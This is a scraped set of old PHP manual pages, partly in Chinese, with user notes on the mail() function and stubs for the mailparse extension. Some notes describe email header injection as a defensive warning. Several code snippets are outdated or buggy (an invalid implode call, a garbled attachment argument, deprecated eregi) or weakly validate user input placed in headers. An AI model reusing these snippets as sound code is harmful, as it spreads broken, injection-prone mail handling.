#      "  This is text before<img src=\"cid:$cid\"> and after\n" .
#      "  </body>\n" .
#      "</html>\n", "text/html");
#    $mulmail->sendmail();

   class multipartmail{
     var $header;
     var $parts;
     var $message;
     var $subject;
     var $to_address;
     var $boundary;

     function multipartmail($dest, $src, $sub){
         $this->to_address = $dest;
         $this->subject = $sub;
         $this->parts = array("");
         $this->boundary = "------------" . md5(uniqid(time()));
         $this->header = "From: $src\r\n" .
                         "MIME-Version: 1.0\r\n" .
                         "Content-Type: multipart/related;\n" .
                         " boundary=\"" . $this->boundary . "\"\r\n" .
                         "X-Mailer: PHP/" . phpversion();
     }

     function addmessage($msg = "", $ctype = "text/plain"){
         $this->parts[0] = "Content-Type: $ctype; charset=ISO-8859-1\r\n" .
                           "Content-Transfer-Encoding: 7bit\r\n" .
                           "\n" . $msg;
                           //chunk_split($msg, 68, "\n");
     }

     function addattachment($file, $ctype){
         $fname = substr(strrchr($file, "/"), 1);
         $data = file_get_contents($file);
         $i = count($this->parts);
         $content_id = "part$i." . sprintf("%09d", crc32($fname)) . strrchr($this->to_address, "@");
         $this->parts[$i] = "Content-Type: $ctype; name=\"$fname\"\r\n" .
                           "Content-Transfer-Encoding: base64\r\n" .
                           "Content-ID: <$content_id>\r\n" .
                           "Content-Disposition: inline;\n" .
                           " filename=\"$fname\"\r\n" .
                           "\n" .
                           chunk_split( base64_encode($data), 68, "\n");
         return $content_id;
     }

     function buildmessage(){
         $this->message = "This is a multipart message in mime format.\n";
         $cnt = count($this->parts);
         for($i=0; $i<$cnt; $i++){
           $this->message .= "--" . $this->boundary . "\n" .
                             $this->parts[$i];
         }
     }

     /* to get the message body as a string */
     function getmessage(){
         $this->buildmessage();
         return $this->message;
     }

     function sendmail(){
         $this->buildmessage();
         mail($this->to_address, $this->subject, $this->message, $this->header);
     }
   }

?>
# inspired by code found here. thanks to all
corretge at gmail dot com
13-Dec-2005 05:19
A way to keep out spamers if in your form or script tell about From e-mail, and put it in the Header is (if the variable name is email):

$emiliu = $_REQUEST['email'];
if ( preg_match ( "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/", $emiliu) )
{
   OK  ... bla... bla.... bla

   $mailHead = "From: " . $_REQUEST['email'];
   mail($mailTO, $mailSbj, $mailBodyC . $mailBody, $mailHead);

}
else
{
  BAD HEADER
}
php at nioubi dot com
15-Nov-2005 07:43
For me, WinXP, EasyPHP 1.8.0.1, sending a mail with the headers lines separated by : \r\n
$headers  = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";

When I put the script online, and call it in order to send mail,
the html is displayed in the mail client (tested Outlook Express and Thunderbird) when you want to read the message sent by php. Some of the headers are considered like text (but it works when sent from local).

Solution : not use \r\n but only \n.
doom_blaster at hotmail dot com
12-Oct-2005 09:47
OK you gave good exemples but none look good with Lotus Notes 6.X. I found some exelent code compatible with Notes and others, the detailed solution is here :http://archivist.incutio.com/viewlist/css-discuss/37970

I have cleaned Rowan's text, this is my working code :

$boundary = md5(uniqid(time()));

$headers  = 'From: ' . $from . "\n";
$headers .= 'To: ' . $to . "\n";
$headers .= 'Return-Path: ' . $from . "\n";
$headers .= 'MIME-Version: 1.0' ."\n";
$headers .= 'Content-Type: multipart/alternative; boundary="' . $boundary . '"' . "\n\n";
$headers .= $body_simple . "\n";
$headers .= '--' . $boundary . "\n";
$headers .= 'Content-Type: text/plain; charset=ISO-8859-1' ."\n";
$headers .= 'Content-Transfer-Encoding: 8bit'. "\n\n";
$headers .= $body_plain . "\n";
$headers .= '--' . $boundary . "\n";
$headers .= 'Content-Type: text/HTML; charset=ISO-8859-1' ."\n";
$headers .= 'Content-Transfer-Encoding: 8bit'. "\n\n";
$headers .= $body_html . "\n";
$headers .= '--' . $boundary . "--\n";

$mailOk=mail('', $subject,'', $headers);

(Tested from Linux PHP4 to STMP Lotus Notes and Notes Client 6.5.1 & 5.? , it works with hotmail too, I didn't test other client)

by DitLePorc
GwarDrazul
15-Sep-2005 07:01
The article mentioned below is quite good to understand the problem of header injection. However, it suggests the following as a solution: look for "\n" and "\r" inside your user input fields (especially in those used for the $header param) and, if found reject the mail.

Allthough this will probably work I still believe it is better to have a "white list" of allowed characters instead of a "black list" with forbidden characters.

Example:
If you want a user to enter his name, then allow characters only!
If you want a user to enter his email adress, then check if the entry is a valid email adress.

Doing so might automatically solve problems which you didn't think of when you created the "black list". For SMTP headers colons are needed. If you check for a valid email adress the hacker won't be able to enter colons inside that form field.

I suggest using regular expressions for those checks.

For more information about regular expressions see:
http://www.regular-expressions.info/
Alan Hogan +PHP at pixels and pages ,com
04-Sep-2005 01:46
Header injection is a very real, common threat in which an attacker uses your mail form to send mail to whomever he chooses!  I've been hit, myself, and on a website with relatively little traffic!  Read more about it here:

http://securephp.damonkohler.com/index.php/Email_Injection
jfonseca at matarese dot com
26-Jul-2005 08:33
This is NOT PHP-specific but worth mentioning on the mail() page.

Watch out for sendmail command injection on your pages which call the mail() function.

How it works: the attacker will inject SMTP into your form unless you make it real clear where the header ends. Most people simply don't add a header or a \r\n\r\n sequence to their mail header forms.

Example : a new BCC: field can be injected so that your form can be used to deliver mail to any valid address the attacker chooses.

Since the httpd server host is a trusted host your MX will probably relay without asking any questions.

Be careful with any function that accepts user input.

Hope this helps.
a dot hari at softprosys dot com
26-Jul-2005 01:47
Guido, the same you can do like this.

while ($emailadresses = mysql_fetch_array($query, MYSQL_ASSOC)) {
   foreach ($emailadresses as $oneMailadres) {
       $recepientsArr[] = "$oneMailadres"; //build up the recepients array
   }
}
/* THIS IS NOT REQUIRED
// this is the tricky part: mail() will not sent to all the emailadresses, if you let your string end with ', ', so I used substr() to remove the last two characters from the string (comma and space).
$recepients = substr($recepients, 0, -2);
*/

//Instead...do this.
$recepients = implode(",", $recepientsArr[]);
//actual sending
mail($recepients, $subject, $mailbody, "From: $senderAddress");
Guido
20-Jul-2005 05:21
When you want to sent mail to emailadresses that you've got stored in a database, one can use this code (at least it's been usefull to me ;):

// fetch adresses from database
while ($emailadresses = mysql_fetch_array($query, MYSQL_ASSOC)) {
   foreach ($emailadresses as $oneMailadres) {
       $recepients .= "$oneMailadres"; //build up the recepient string
       $recepients = $recepients . ", ";
   }
}
// this is the tricky part: mail() will not sent to all the emailadresses, if you let your string end with ', ', so I used substr() to remove the last two characters from the string (comma and space).
$recepients = substr($recepients, 0, -2);
//actual sending
mail($recepients, $subject, $mailbody, "From: $senderAddress");
gregBOGUS at BOGUSlorriman dot com
21-Jun-2005 06:02
In the posting "gregBOGUS at BOGUSlorriman dot com 6th april 2005" I claimed that redirecting an email, via the mail() function, to a different email address was as simple as copying over the unmodified headers of the originally recieved email (which would, of course, include the original "To:" field).

However it seems that this works for a Xampp install (http://www.apachefriends.org/en/xampp.html) with Mercury as the mail agent, but doesn't work on my webhost without first removing the old "To:" field, and perhaps other header modifications. Therefore it looks like it would be safest to strip any header lines that shouldn't be there. <sigh>

http://www.lorriman.com
tarlrules at users dot sourceforge dot net
16-Jun-2005 02:26
You may also want to take a look at email() a mail() clone with built in MTA. This is particually useful if you webhost does has dissable access to mail.

email() is avaliable here: http://poss.sourceforge.net/email along with a php.net style function referance http://poss.sf.net/email/index.php?type=Documentation&page=email

Hope that help someone.

Jason
macronesia at macronesia dot net
16-Jun-2005 12:25
After doing some conductive testing, I have found that the popular GMail E-Mail system throws a 550 error when you send mail with the 'to' argument in the "User <user@example.com>" format.

I spent about twenty minutes bothering with it, and then just added the "user@example" argument, which works fine.

Just a note to save other people time. It might, however, work with sending E-Mail to people in my original format in a header.
javier at zincro dot com
01-Jun-2005 12:48
This might be something obvious, but it gave me a lot of headache to find out:

If you use an ascii char#0 in the "string mensaje" parameter, it will truncate the message till that point, (this happened to me sending a message read from a file)

For example:
<?
$hs_email="blabla@blabla.com";
$hs_asunto="a message for you";

$hs_contenido="beginofcontent_";
$hs_contenido.=chr(0);
$hs_contenido.="_endofcontent";

mail($hs_email,$hs_asunto,$hs_contenido);
?>

Will result in an email that only contains the string:

beginofcontent_

Anyway, just in case it can save someone some time...
msheldon at desertraven dot com
15-May-2005 03:09
Just a comment on some of the examples, and as a note for those who may be unaware. The SMTP RFC 822 is VERY explicit in stating that \r\n is the ONLY acceptable line break format in the headers, though is a little vague about the message body. While many MTAs will deal with just \n, I've run accross plenty of them that will exhibit "interesting" behaviours when this happens. Those MTAs that are strict in compliance will definitely break when header lines are terminated with only \n. They will also most likely break if the body of the message contains more than 1000 consecutive characters without a \r\n.*

Note that RFC 821 is a little more clear in defining:
"line
     A a sequence of ASCII characters ending with a <CRLF>."

RFC 821 makes no distinction between header lines and message body lines, since both are actually transmitted during the DATA phase.

Bottom line, best practice is to be sure to convert any bare \n characters in the message to \r\n.

* "The maximum total length of a text line including the <CRLF> is 1000 characters" (RFC 821)
v152535 at mail dot ru (Vladimir)
09-May-2005 09:03
Good Example from http://docs.com.ru/php_3.php :
Send file.zip on 333@mail.ru .
File file.zip  inheres beside this php:

<?php

class mime_mail {
var $parts;
var $to;
var $from;
var $headers;
var $subject;
var $body;

//
function mime_mail() {
 $this->parts = array();
 $this->to =  "";
 $this->from =  "";
 $this->subject =  "";
 $this->body =  "";
 $this->headers =  "";
}

//
function add_attachment($message, $name = "", $ctype = "application/octet-stream") {
 $this->parts [] = array (
  "ctype" => $ctype,
  "message" => $message,
  "encode" => $encode,
  "name" => $name
 );
}

//  (multipart)
function build_message($part) {
 $message = $part["message"];
 $message = chunk_split(base64_encode($message));
 $encoding = "base64";
 return "Content-Type: ".$part["ctype"].($part["name"]? "; name = \"".$part["name"]."\"" : "")."\nContent-Transfer-Encoding: $encoding\n\n$message\n";
}

function build_multipart() {
 $boundary = "b".md5(uniqid(time()));
 $multipart = "Content-Type: multipart/mixed; boundary = $boundary\n\nThis is a MIME encoded message.\n\n--$boundary";
 for($i = sizeof($this->parts)-1; $i>=0; $i--) $multipart .= "\n".$this->build_message($this->parts[$i]). "--$boundary";
 return $multipart.=  "--\n";
}

//  ,
function send() {
 $mime = "";
 if (!empty($this->from)) $mime .= "From: ".$this->from. "\n";
 if (!empty($this->headers)) $mime .= $this->headers. "\n";
 if (!empty($this->body)) $this->add_attachment($this->body, "", "text/plain");
 $mime .= "MIME-Version: 1.0\n".$this->build_multipart();
 mail($this->to, $this->subject, "", $mime);
}
}

$attachment = fread(fopen("file.zip", "r"), filesize("file.zip"));
$mail = new mime_mail();
$mail->from = "my@e-mail.com";
$mail->headers = "Errors-To: [EMAIL=my@e-mail.com]my@e-mail.com[/EMAIL]";
$mail->to = "333@mail.ru";
$mail->subject = "PHP atachment";
$mail->body = "Get your file!";
$mail->add_attachment("$attachment", "file.zip", "Content-Transfer-Encoding: base64 /9j/4AAQSkZJRgABAgEASABIAAD/7QT+UGhvdG9zaG");
$mail->send();

?>
daniel at tamm-tamm dot de
01-May-2005 10:06
In the code of gordon at kanazawa-gu dot ac dot jp, long subjects become corrupted when using utf-8 encoding because of the length parameter. The following version works even with utf-8:
<?php
// ...
// determine length of encoded text within chunks
// and ensure length is even
$length = 75 - strlen($start) - strlen($end);
$length = floor($length/4) * 4;
// ...
?>
marcus at synchromedia dot co dot uk
27-Apr-2005 01:06
The docs are slightly confusing by talking about the additional_paramaters paramater as being able to contain 'an additional parameter' in the singular.

The additional_parameters parameter is simply a string that gets concatenated onto the command passed to sendmail, so you can put as many params in there as you like, for example '-fme@example.com -R hdrs'
jonte at macnytt dot com
25-Apr-2005 07:16
Users of Mac OS X Server need to activate SMTP part of the Mailserver before this is working.

Also note that if the ISP has blocked port 25 outgoing, you run into problems. You can find more info about this in the SMTP server log in Server Admin application if you run OSX Server.
Jeffrey
20-Apr-2005 10:18
<?php
class clsMail
{
   var $to;
   var $from;
   var $cc;
   var $bcc;
   var $subject;
   var $message;
   var $contentType;

   function clsMail() //init
   {
       $this->to        =    "";
       $this->from    =    "";
       $this->cc    =    "";
       $this->bcc    =    "";
       $this->subject    =    "";
       $this->message    =    "";
       $this->contentType = "html"; // text, html
   }

   function isemail($email)
   {
       // regx to test for valid e-mail adres
       $regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$';
       if (eregi($regex, $email)) return true;
       else return false;
   }

   function send()
   {
       // check if e-mail adresses are valid.
       if (!clsMail::isemail($this->to)) die('ERROR: Invalid To e-mail adres');
       if (!clsMail::isemail($this->from)) die('ERROR: Invalid From e-mail adres');
       if (!clsMail::isemail($this->cc) && !$this->cc=="") die('ERROR: Invalid CC e-mail adres');
       if (!clsMail::isemail($this->bcc) && !$this->bcc=="") die('ERROR: Invalid BCC e-mail adres');

       // To send HTML mail, you can set the Content-type header. html is the default
       $headers  = "MIME-Version: 1.0\r\n";
       if ($this->contentType=="html") $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
       else $headers .= "Content-type: text/plain; charset=us-ascii\r\n";

       // additional headers  for From, Cc and Bcc
       $headers .= "From: ".$this->from."\r\n";
       if (!$this->cc=="")  $headers .= "Cc: ".$this->cc."\r\n";
       if (!$this->bcc=="") $headers .= "Bcc: ".$this->bcc."\r\n";

       // send the e-mail
       return mail($this->to, $this->subject, $this->message, $headers);
   }

}

// example how te use the mail class
$mail = new clsMail();
$mail->to="someone@domain.com";
$mail->from="me@domain.com";
$mail->subject="My Subject";
$mail->message="My Message body";
echo $mail->send(); // returns true or false at failure
?>
19-Apr-2005 03:20
A co-worker of mine had a problem where she needed to have a backslash in the header. Basically, the name of the company has a couple of backslashes in it. However, when the recipient was receiving the email, the "From:" part had the backslashes removed. We got it to work but placing three backslashes whenever we wanted one to show up. I'd assume that the mail server was modifying the headers and this is not really an issue with php. Anyway, thought this might help someone.
fabrice dot potron at gmail dot com
14-Apr-2005 05:47
with php4.xx
/* destinataire */
$to  = "Mary <mary@example.com>" // ok

with php5 :
/* destinataire */
$to  = "Mary <mary@example.com>" // NO mail return true but the mail isn't start (i don't speak english) :(
$to  = "mary@example.com" // ok :)
gregBOGUS at BOGUSlorriman dot com
06-Apr-2005 08:05
A comfortable way to redirect an email :

(Obviously there are other ways to redirect, but this could save someone a lot of hassle. )

If all you want to do is redirect an email and you want to do it from the comfort of the mail() and imap_X() functions then surprisingly mail() will successfully send an email to your chosen destination with the contents intact (text/mime/multipart whatever) by just dumping the result of imap_fetchheader into the header parameter and dumping imap_body into the body parameter. For example :

<?php

$header=imap_header($mbox,1);

mail('somechap@somewhere.com',$header->Subject,imap_body($mbox,1), imap_fetchheader($mbox,1));

?>

Notice that you still have to transfer the subject line manually using imap_header.

One note, however, is that it may be possible on particular platforms that the header info might have had its CRLFs mangled and so this technique might need adjustment if you are unlucky.

Also note that this is a somewhat surprising method, and one might be (wisely) circumspect about using a technique that could be broken by an unfortunate updating of mail(). However I don't believe this is a significant concern as the mail() function is very simple in what it offers, such that the likelyhood of broken code is about as minimal as can be expected. However apps that need to be industrially strong should probably not use this technique.

Greg

http://www.lorriman.com
gardan at gmx dot de
31-Mar-2005 10:41
An addition to the comment by gordon at kanazawa-gu dot ac dot jp:

In his function encode() he has the following line:

$length = floor($length/2) * 2;

which should actually be

$length = $length - ($length % 4);

This means: $length should not be even, but divisible by 4. The reason is that in base64-encoding 3 8-bit-chars are represented by 4 6-bit-chars. These 4 chars must not be split between two encoded words, according to RFC-2047.
benles at bldigital dot com
21-Mar-2005 01:47
I get a 550 error when using mail() with this To format:

User <user@example.com>

When it's changed to just the bare email, it works fine. Just FYI that some mail servers may behave this way.
php dot net at schrecktech dot com
03-Mar-2005 08:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...
Ian Chilton
21-Feb-2005 08:52
\r\n after each header doesn't seem to work in some mailers (eg: Gmail) - \n seems to work ok.
grey at greywyvern dot moc
19-Feb-2005 04:47
When including your own custom headers try not to include a trailing \r\n at the end of the last header.  Leaving the \r\n causes an extra line-feed at the beginning of the message body, so your message will start on the second line.
Sven Riedel
10-Jul-2004 09:22
mail() requires /bin/sh to exist in Unix environments, next to a mail delivery program. This is very relevant when setting up apache in a chroot environment. Unfortunately this isn't anywhere in the documentation and took me several months to figure out.
nospam at mingo dot ath dot cx
09-May-2004 09:55
If you're using a linux server using Postfix, and your server hasn't the host name set to a valid name (because it's behind a firewall in an intranet), it's possible that when sending mails using the mail function, some mail servers reject them. This is because they can't check the return path header. If you want to change the Return-Path used by sendmail init the php.ini and edit the sendmail_path variable to this:

sendmail_path = "sendmail -t -i -F webmaster@yoursite.com -f webmaster@yoursite.com"
Paul
25-Feb-2004 06:51
My mime multipart/alternative messages were going ok, until I switched to qmail with php .. after years of painfull searching, I came across this on the Life With Qmail 'Gotchas' section:

G.11. Carriage Return/Linefeed (CRLF) line breaks don't work

qmail-inject and other local injection mechanisms like sendmail don't work right when messages are injected with DOS-style carriage return/linefeed (CRLF) line breaks. Unlike Sendmail, qmail requires locally-injected messages to use Unix newlines (LF only). This is a common problem with PHP scripts.

So now, I can go back to sending emails with text AND html components :)
gordon at kanazawa-gu dot ac dot jp
29-Dec-2002 10:04
If your server doesn't have mb_send_mail() enabled but you want to use non-ascii (multi-byte) chars in an email's subject or name headers, you can use something like the following:

<?php
$charset = "iso-2202-jp"; // japanese
$to = encode("japanese name 01", $charset) . " <to@email.com>";
$from = encode("japanese name 02", $charset) . " <from@email.com>";
$subject = encode("japanese text");
$message = "does not need to be encoded";
mail($to, $subject, $message, $from);

function encode($in_str, $charset) {
   $out_str = $in_str;
   if ($out_str && $charset) {

       // define start delimimter, end delimiter and spacer
       $end = "?=";
       $start = "=?" . $charset . "?B?";
       $spacer = $end . "\r\n " . $start;

       // determine length of encoded text within chunks
       // and ensure length is even
       $length = 75 - strlen($start) - strlen($end);
       $length = floor($length/2) * 2;

       // encode the string and split it into chunks
       // with spacers after each chunk
       $out_str = base64_encode($out_str);
       $out_str = chunk_split($out_str, $length, $spacer);

       // remove trailing spacer and
       // add start and end delimiters
       $spacer = preg_quote($spacer);
       $out_str = preg_replace("/" . $spacer . "$/", "", $out_str);
       $out_str = $start . $out_str . $end;
   }
   return $out_str;
}
// for details on Message Header Extensions
// for Non-ASCII Text see ...
// http://www.faqs.org/rfcs/rfc2047.html

?>
add a note add a note

后退 | 起点 | 前进
ezmlm_hash | 上一级 | mailparse Functions


mailparse Functions

PHP 手册
后退 前进

LXVI. mailparse Functions

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：4.2.0.

安装

本 PECL 扩展未绑定于 PHP 中。 进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/mailparse.

In order to use these functions you must compile PHP with mailparse support by using the --enable-mailparse configure option.

Windows users will enable php_mailparse.dll inside of php.ini in order to use these functions. 可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

目录
mailparse_determine_best_xfer_encoding -- Figures out the best way of encoding the content read from the file pointer fp, which must be seek-able
mailparse_msg_create -- Returns a handle that can be used to parse a message
mailparse_msg_extract_part_file -- Extracts/decodes a message section, decoding the transfer encoding
mailparse_msg_extract_part -- Extracts/decodes a message section
mailparse_msg_free -- Frees a handle allocated by mailparse_msg_create()
mailparse_msg_get_part_data -- Returns an associative array of info about the message
mailparse_msg_get_part -- Returns a handle on a given section in a mimemessage
mailparse_msg_get_structure -- Returns an array of mime section names in the supplied message
mailparse_msg_parse_file -- Parse file and return a resource representing the structure
mailparse_msg_parse -- Incrementally parse data into buffer
mailparse_rfc822_parse_addresses -- Parse addresses and returns a hash containing that data
mailparse_stream_encode -- Streams data from source file pointer, apply encoding and write to destfp
mailparse_uudecode_all -- Scans the data from fp and extract each embedded uuencoded file

add a note add a note User Contributed Notes
iwarner at triangle-solutions dot com
21-May-2004 11:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

Or you will get an error.

Ian
boris at gamate dot com
12-Sep-2003 09:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
   $section = mailparse_msg_get_part($mail, $st);
   $info = mailparse_msg_get_part_data($section);

   print_r($info);
}

?>
toffe at dev dot null dot se
11-May-2003 01:50
To install mailparse on later versions of php, 4.3.1 in my case, you have to compile it with --enable-mbstring then do:

# pear install mailparse

This should download/compile/install the mailparse module...
To use it, either put extension=mailparse.so in your php.ini or use dl("mailparse.so"); in each script you need the mailparse capabilities in.

/C A
wberrier at yahoo dot com
09-Jul-2002 03:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
       echo "<tr>\n";
       echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
       /* get a handle on the message resource for a subsection */
       $section = mailparse_msg_get_part($mime, $st);
       /* get content-type, encoding and header information for that section */
       $info = mailparse_msg_get_part_data($section);
       echo "\n";
       echo "<td>" . $info["content-type"] . "</td>\n";
       echo "<td>" . $info["content-disposition"] . "</td>\n";
       echo "<td>" . $info["disposition-filename"] . "</td>\n";
       echo "<td>" . $info["charset"] . "</td>\n";
       echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
       /* get a handle on the message resource for the desired part */
       $sec = mailparse_msg_get_part($mime, $showpart);

       echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
       ob_start();
       /* extract the part from the message file and dump it to the output buff
er
         * */
       mailparse_msg_extract_part_file($sec, $filename);
       $contents = ob_get_contents();
       ob_end_clean();
       /* quote the message for safe display in a browser */
       echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>
add a note add a note

后退 | 起点 | 前进
mail | 上一级 | mailparse_determine_best_xfer_encoding


mailparse_determine_best_xfer_encoding

(4.1.0 - 4.1.2 only, PECL)

mailparse_determine_best_xfer_encoding -- Figures out the best way of encoding the content read from the file pointer fp, which must be seek-able

Description

string mailparse_determine_best_xfer_encoding ( resource fp )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse Functions | 上一级 | mailparse_msg_create


mailparse_msg_create

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_create -- Returns a handle that can be used to parse a message

Description

resource mailparse_msg_create ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_determine_best_xfer_encoding | 上一级 | mailparse_msg_extract_part_file


mailparse_msg_extract_part_file

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_extract_part_file -- Extracts/decodes a message section, decoding the transfer encoding

Description

string mailparse_msg_extract_part_file ( resource rfc2045, string filename [, callback callbackfunc] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
per at computer dot org
21-Oct-2004 04:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.
add a note add a note

后退 | 起点 | 前进
mailparse_msg_create | 上一级 | mailparse_msg_extract_part


mailparse_msg_extract_part

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_extract_part -- Extracts/decodes a message section

Description

void mailparse_msg_extract_part ( resource rfc2045, string msgbody [, callback callbackfunc] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

If callbackfunc is not specified, the contents will be sent to "stdout".

add a note add a note User Contributed Notes
php at cdauth dot de
07-Jun-2006 03:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com
07-Apr-2006 01:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
   [starting-pos] => 0
   [starting-pos-body] => 1412
   [ending-pos] => 14989
   [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
   print "Part $s\n";
   print "--------------------------------------\n";
   $part = mailparse_msg_get_part($parse, $s);
   $part_data = mailparse_msg_get_part_data($part);
   print_r($part_data);
   $starting_pos_body = $part_data['starting-pos-body'];
   $ending_pos_body    = $part_data['ending-pos-body'];
   $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
   print "[".$parts[$s]."]";
   print "\n------------------------------------\n";
}
add a note add a note

后退 | 起点 | 前进
mailparse_msg_extract_part_file | 上一级 | mailparse_msg_free


mailparse_msg_free

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_free -- Frees a handle allocated by mailparse_msg_create()

Description

bool mailparse_msg_free ( resource rfc2045buf )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_extract_part | 上一级 | mailparse_msg_get_part_data


mailparse_msg_get_part_data

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_get_part_data -- Returns an associative array of info about the message

Description

array mailparse_msg_get_part_data ( resource rfc2045 )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_free | 上一级 | mailparse_msg_get_part


mailparse_msg_get_part

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_get_part -- Returns a handle on a given section in a mimemessage

Description

resource mailparse_msg_get_part ( resource rfc2045, string mimesection )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_get_part_data | 上一级 | mailparse_msg_get_structure


mailparse_msg_get_structure

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_get_structure -- Returns an array of mime section names in the supplied message

Description

array mailparse_msg_get_structure ( resource rfc2045 )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_get_part | 上一级 | mailparse_msg_parse_file


mailparse_msg_parse_file

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_parse_file -- Parse file and return a resource representing the structure

Description

resource mailparse_msg_parse_file ( string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_get_structure | 上一级 | mailparse_msg_parse


mailparse_msg_parse

(4.1.0 - 4.1.2 only, PECL)

mailparse_msg_parse -- Incrementally parse data into buffer

Description

bool mailparse_msg_parse ( resource rfc2045buf, string data )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mailparse_msg_parse_file | 上一级 | mailparse_rfc822_parse_addresses


mailparse_rfc822_parse_addresses

(4.1.0 - 4.1.2 only, PECL)

mailparse_rfc822_parse_addresses -- Parse addresses and returns a hash containing that data

Description

array mailparse_rfc822_parse_addresses ( string addresses )

警告

